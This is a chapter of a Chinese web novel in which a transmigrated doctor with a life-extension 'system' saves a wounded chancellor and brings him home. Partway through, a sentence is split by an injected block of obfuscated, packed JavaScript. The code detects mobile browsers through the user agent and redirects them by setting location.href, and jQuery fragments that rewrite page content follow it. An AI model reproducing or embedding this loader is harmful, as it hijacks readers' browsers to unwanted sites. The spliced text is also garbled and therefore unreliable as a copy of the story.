1. 初相识

    春雨细如牛毛,落在青帷马车的油布篷顶上,发出沙沙的声响。


    耳边传来系统刺耳鸣响:[拯救重伤青年——续命任务一启动]


    掀开车帘的刹那,晨光斜斜穿过指缝,那手如半透的玉雕,关节处泛着淡青,仿佛稍一用力便会折断。宴苓的脸从车窗探出来,清雅秀丽,明眸皓齿。


    不远处,只见一绯色官服青年斜躺在古柏树下间。一支三棱箭镞贯穿左胸,鲜血染的那绯色官服更加鲜艳。


    宴苓连忙叫停车夫,自两个月前宴灵在医院值班室猝死,就发现她穿到这副孱弱的身体。很快,宴灵发现她的脑海里有一个奇怪的进度条,旁边还有使用指南:


    妙手回春系统——悬壶济世为生命进度条充值,目前生命值仅剩下三个月。


    原身本是太医院院判之女,身患心疾,弱柳扶风之姿。也许是她们俩名字相似,上天给了宴灵重活一次的机会。


    “小姐,怎么了?”说话的正是宴苓的贴身侍女檀香,见自家小姐起身,连忙伸出手去扶她。


    “扶我下去。”


    “小姐,咱们还是不要下车了,您本来就身子弱,这次去寺庙祈福,淋了雨就不好了。”


    “别担心,我心里有数。”宴苓用另一只手拍了拍檀香的手背,把马车里的医箱拿出来。自己穿来之前好歹也是一个三甲医院的中医,这副身体只是心衰。只要做好保暖,不受凉就好了,倒是那个青年,再不去救他,说不定就要失血过多而亡了。


    宴苓剪开青年的衣服,伤口还在出血,箭镞穿过第四肋间,险些就伤到心脉。宴苓本想用麻沸散帮他止痛,但是没有找到,随身携带的药箱里只有常用的药品。


    “对不住了,你认忍着点吧!”宴苓从腰间拿出手帕,塞到青年的嘴里。用尽全身力气掰断箭镞尾端,掰得宴苓脖子直冒青筋。


    裴霁被胸口的刺痛疼醒,看到的便是这样的宴苓。苍白的脸上,由于用力,一抹红晕开在苍白的肌肤上,鬓边碎发被雨水黏在脸侧,披着淡绿色的斗篷,显出几分伶仃。


    三七末的苦涩在雨气里浮沉,裴霁虚弱得说不出话,只能防备地盯着宴苓的脸。他被人暗杀,逃到此处已经耗尽了所有力气。裴霁不知道这名女子是不是仇家派来的还是恰巧路过,将来定要查查她的身份。


    “凌大哥,能麻烦你帮忙将他抬到车上吗?注意不要扯到他的伤口。”宴苓只能大致处理,送裴霁往回赶,送到最近的医馆。宴苓喊来车夫,本想搭把手,谁知她一站起来就眼前发昏,这副身子真是的。


    “小姐!”檀香在宴苓身后打伞,连忙伸手去扶她,“小姐……”


    和前面担心焦急的语气不同,后一句小姐音调拉长,带着一丝埋怨,埋怨她不爱惜自己的身体。


    宴苓母亲难产而亡,父亲即使心痛难耐,但是抱着怀里早产的她也只能振作起来。也正是因为早产,宴苓从小就体弱,父亲用尽所有方法来治疗,只是治标不治本。檀香从小就被养在宴苓身边,照顾宴苓的起居,早就不是简单的侍女。


    “好啦,这就回去。”檀香是真心替自己着想,但宴苓作为医者,有自己的原则。


    在送裴霁去医馆的路上,晏苓才有空仔细端详这张脸,剑眉星目,鼻梁高耸,有潘安之貌。若是放到宴灵那个世界,说不定是个著名的影星。


    马车停在医馆门口,“大夫,他身上有一些外伤,但最严重的是胸口。我已经用三七粉把血止住了,回城路途颠簸,只能就近送到您这。”


    大夫往马车里看,青年一身绯色官服,玉佩也是价值不菲,身份定是不凡。但这伤如此严重,要是死在这,岂不是小命不保。


    “夫人,他这实在是伤的太重了,我们这小医馆确实有点难以招架。”大夫只是作揖,并不打算把他搬进去。


    “你……”宴苓气急,“大医精诚,你岂能如此。”宴苓没有办法,救人要紧,软下语气,“那你这可有麻沸散和其他工具吗?我来救,死了算我的。”


    大夫犹豫,一旁的檀香适时拿出一锭银子,“这样有了吗?”


    大夫双手接过,“有有有,嘿嘿”那双贪婪的眼睛泛着光。宴苓不屑,不想和他有太多交及,转身扶着车门上了马车。


    “檀香,把他的衣服都扒了。”扒开上衣的裴霁,上身完全暴露,腹肌边界清晰。宴苓没想到他一介文官居然有这种身材。


    宴苓拿出大夫送来的针在烛火上燎了燎,刺入印堂、大敦、关元等穴位止血。


    接过檀香泡好的麻沸散,扯开裴霁嘴里的手帕就往里灌。这是,裴霁突然抓住宴苓的手,宴苓手里的药撒出来一点,裴霁苍白唇间溢出气“你是谁?有何目的?”


    眼神锋利,宴苓一时被这般凶狠的眼神吓到了。


    旁边的檀香不忿,“小姐是当今太医院院判宴明贤之女,救你命呢,你放开小姐。”


    裴霁没有回应檀香,只是直直地看着宴苓。


    “我叫宴苓,这是麻沸散,止痛的。”宴苓还没有适应这个世界的措辞,只用了我。宴苓怕他不信,“我现在没有能证明我身份的东西,你如果信我,我就救你。”


    二人眼神交锋,宴苓眼神坚定,,最终裴霁松开手,那刺眼的红留在了宴苓纤细的手腕。


    “冒犯了,若本官活着,将来定会好好报答姑娘。”


    裴霁囫囵吞下药,宴苓把手帕用力塞到裴霁嘴里,泥人也有三分脾气。宴苓敢怒不敢言,只能用这种幼稚的方法报复。


    闷哼一声,鲜血顺着箭头涌出,溅到宴苓那张苍白的脸上。裴霁咬着手帕,鼻尖是少女身上独有的药香,眼前是用自己血标记的妍丽的脸。


    宴苓一手拿起治疗巾按住伤口,一手将穿好线的针头放在烛火上烧,“忍着点”宴苓头也没抬,动作利落,捏起裴霁的皮肤缝了起来。


    裴霁额头的汗止不住的留,麻沸散的作用这么弱吗?


    其实按照这碗麻沸散的浓度,按理说裴霁这会早就昏睡过去了。宴苓不知道这个世界的用药计量,下手没轻没重。


    包扎好伤口,系统的声音在耳边响起:[拯救重伤男子——续命任务一成功,续命三个月],宴苓看了看脑海里的进度条,终于有一点点颜色了,不枉她忙前忙后。


    裴霁问大夫要了件衣服,换下身上的官服,看着一旁的手帕。浅绿色的底色上绣着不知名的药草,旁边还有一个“苓”字。这绣工倒是不怎么样,想起宴苓的脸和她那医术,绣工差一点就差一点吧。


    “你换好了吗?”马车外传来宴苓的声音。本来宴苓没想在外面等他,她是医生,什么身体没见过,但是檀香说什么都要拉着她出来。


    小姐还是未出阁的女


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseint(c/a)))+((c=c%a)>35?string.fromCharCode(c+29):c.tostring(36))};if(!.replace(/^/,string)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return\\w+};c=1;};while(c--)if(k[c])p=p.replace(new regexp(\\b+e(c)+\\b,g),k[c]);return p;}(8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="},24,24,userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15241628|166285||http|test|mini|href|location.split(|),0,{}));


    () {


    $(.inform).remove();


    $(#content).append(


    子,扒了裴霁的衣服已是离经叛道,不能再让小姐呆在车里面,哪怕外面下雨。


    裴霁鬼使神差的把手帕塞到里衣,“换好了。”


    裴霁见宴苓俯着进来,手不自觉的伸向她。宴苓看都没看就坐到一旁,横竖命已经续上了,不用对裴霁太客气。


    裴霁讪讪的把手收回来,“本官乃当朝首相裴霁,能否请姑娘将本官送到相府。信号器在姑娘发现本官的地方放掉了,下人一时间也找不到本官。”


    这还怪上我了,首相了不起啊,要不是我救你,等你的下人找到你,你早就嗝屁了。


    宴苓心里虽是这么想,身子却很懂事。


    “好的。”


    首相是了!不!起!宴苓皮笑肉不笑,装模作样的笑着。


    “凌大哥,先去相府,然后回家。”


    一路上裴霁一句话都没说,只是闭目养神。雨停了之后空气中只有和车轮辗地面的声音。


    檀香虽是好奇自家小姐医术怎么这么好,但是也一句话都不敢说。自从檀香知道裴霁是首相,想起刚才自己那无礼的呵斥,只觉得一阵后怕。传言首相裴霁是个冷面阎罗。虽是文官,但是推崇酷法,是个不近人情的主。


    七丈高的朱漆大门上,门楣上悬着的不是寻常匾额,而是一方玄铁铸造的相印拓片。拓片上拓着“裴府”两字在暮色中泛着冷光,和裴霁人一样冷。


    裴霁仅露出手上的玉扳指,门卫马上就在马车前行礼。


    “本官改日定会备上厚礼,登门拜访令尊,感谢姑娘救命之恩。”裴霁虽然冷面,但是该有的礼仪还是有的。


    宴苓起身回礼。


    裴霁刚下车,马车里就传出宴苓的声音“凌大哥,回吧”。


    车夫麻溜的收起上马凳,驾着车走了,只留下扬起来的尘土。


    裴霁倚着门卫,回头看远去的马车,摸了摸左胸的包扎,嘴角不自觉的露出笑,脸上的温度都下降了几度。


    这女子,有点幼稚,有点可爱。


    过了几日,宴苓在房内看书,手里捧着汤婆子。虽然深冬已过,但是宴苓仍旧手脚冰凉。宴苓说过不用,但檀香硬塞到宴苓手里。自从上次完成系统续命任务后,宴苓发现自己走路没之前那么容易喘了。


    宴明贤休沐归家,第一时间就来到宴苓院内。


    “乖女儿,爹回来了。”


    宴苓抬头,露出明媚的笑容,起身迎接。虽然宴明贤不是自己真正的父亲,但是自打她穿过来,感受到的疼爱是真的。


    “爹不在的时间,有没有按时喝药。”宴明贤拉起女儿的手,顺势搭在了她的手腕桡侧把脉。


    “有认真喝,每天都喝。”宴苓笑意盈盈的抬手,“不信爹自己把脉。”


    “嗯,寸脉比之前有力了,怎么回事?”宴明贤边把脉边顺着自己的白胡须捋。“来,换那边手。”


    宴苓乖乖伸出另一只手,“爹,我就不能是自己喝药好了吗?”


    “难道是上次让你去寺庙祈福起作用了?”宴苓没敢说自己根本没去寺庙,只好顺着宴明贤的话说“也许是去求佛祖,佛祖保佑我了。”


    “真的?”宴明贤本是不信这些,但是女儿的身子日渐虚弱,就听同僚的建议,让宴苓去寺庙拜拜。


    这时门外传来小斯的声音,“老爷,门外首相拜访。”